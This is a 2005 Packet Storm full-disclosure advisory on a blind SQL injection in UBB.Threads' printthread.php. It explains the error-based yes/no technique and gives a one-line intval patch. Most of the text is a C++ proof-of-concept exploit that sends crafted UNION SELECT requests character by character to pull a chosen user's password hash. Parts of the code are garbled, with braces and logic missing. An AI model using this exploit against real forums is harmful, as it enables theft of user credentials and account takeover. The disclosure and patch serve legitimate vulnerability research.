Type packetstorm
Reporter Axl
Modified 2005-06-01T00:00:00


UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability  
Full Disclosure  
Bug discovered By: Axl  
Exploit By: HLL (hllhll at gmail.com)  
1. Introduction  
There Is a flaw in printthread.php due to insufficient bound checking of the 'main' query parameter  
wich allows a malicues SQL to be injected threw the querys  
2. Description  
The main query parameter is used twice in this page, in different queries and in different number of columbs  
thus, the popular 'UNION SELECT' method will is not applicable, because a correct response of the first query, makes the   
second query to be invalid, and because of that, any output that was is dismissed and an error message only for the second query is shown  
The catch is, that the second query execution is conditional to the results of the first one  
If no results are returned from the first query the second query is not processed, thus, no SQL error will output  
So, as you see in the POC Exploit below this can be used to still use output from the first query  
not as a text\numbers but as a "Are there any results" way.  
If the fisrt query would have 0 rows returnd, there will be no SQL error  
If at least 1 row is returned, then An SQL Error will show.  
3. Solution  
Add in the beginning of the PHP file(printthread.php) after the PHP-Code tag (<?):  
if(array_key_exists('main', $_GET)) $_GET['main']=intval($_GET['main']);  
4. Exploitation: See below  
5. Credits  
Vulnerability discovered by: Axl  
Exploit Coded by HLL: hllhll <at> gmail.com  
4. Exploitation  
UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability  
Usage: HLLUBBThreadsExploit.exe <hostname> <path to printthread.php> <Any vaild forum name> <user id>   
Example: HLLUBBThreadsExploit.exe www.host.com /ubbthreads/printthread.php UBB3 2  
Vulnerability discovered by: Axl  
Exploit Coded by HLL: hllhll <at> gmail.com  
#include <winsock2.h>  
#include <stdio.h>  
#include <conio.h>  
#include <iostream.h>  
#pragma comment (lib,"ws2_32")  
void usage(char *argv[])  
cout << "[+] UBB Threads Proof-Of-Concept Exploit, Written by: HLL" << endl;  
cout << "[+] Usage:" << endl;  
cout << "[+] " << argv[0] << " <hostname> <path to printthread.php> <Any vaild forum name> <user name> " << endl;  
cout << "[+] " << argv[0] << " www.host.com /ubbthreads/printthread.php UBB3 HLL" << endl;  
int main(int argc, char *argv[]){  
WSADATA wsaData;  
struct sockaddr_in saddr;  
WSAStartup(MAKEWORD(1, 1), &wsaData);  
struct hostent *h;  
char hash[34]={0};  
int rcvlen;  
char ch;  
int flag, pos;  
int countwait;  
SOCKET sock;  
char req[400];  
char buf[600];  
char rcvbuf[10000];  
char rcvtmpbuf[1024];  
char *host=argv[1]; //Server  
char *path=argv[2]; // Path to /ubbthreads/printthread.php  
char *fname=argv[3]; //Forum name  
int uid=atoi(argv[4]); //User id  
if (argv!=5){  
//Resolve address (will work also if this is an IP)  
cout << "[+] Resolving host... ";  
if (!(h=gethostbyname(host)))  
cout << "FAILD!" << endl;  
cout << "Done." << endl;  
saddr.sin_addr=*(struct in_addr *)h->h_addr_list[0];  
memset(saddr.sin_zero, 0, 8);  
cout << "[+] Exploiting target... " << endl;  
for (pos=1; pos<=32; pos++)  
for (ch='0'; ch<='F'; ch++)  
if ( (sock=socket(AF_INET, SOCK_STREAM, 0)) == -1 )  
cout << "FAILD CREATING SOCKET!" << endl;  
if (ch==':') ch='A'; //If finished all digits, jump to hex digits  
//Prepare reqest  
sprintf(req, "%s?Board=%s&type=post&main=-99'%%20UNION%%20SELECT%%20B_Number,B_Posted%%20FROM%%20w3t_Posts,w3t_Users%%20WHERE%%20((MID(U_Password,%d,1)='%c')", path, fname, pos, ch, pos, ch+32);  
if (ch>='A' && ch<='Z')  
sprintf(req, "%sOR%%20(MID(U_Password,%d,1)='%c')", req, pos, ch+32);  
sprintf(req, "%s)AND(u_number=%d)/*", req, uid);  
sprintf(buf, "GET %s HTTP/1.0\r\nAccept: * /*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)\r\nHost: %s \r\n\r\n", req, host);  
connect(sock, (struct sockaddr *)&saddr, sizeof(struct sockaddr) );  
send(sock, buf, strlen(buf), 0);  
cout << "[+] Char: " << ch << endl;  
//Loop untill disconnection or recognized string  
if ((rcvlen = recv(sock, rcvtmpbuf, 1023, 0))>0){  
strcat(rcvbuf, rcvtmpbuf);  
if ( (++countwait) == 30)  
if ( strstr(rcvbuf, "SQL Error"))  
if (flag==1){ //Char found  
cout << "[+] Char " << ch << " In pos " << pos << endl;  
cout << endl << "The hash for user id" << uid << "is: " << hash << endl;  
return (0);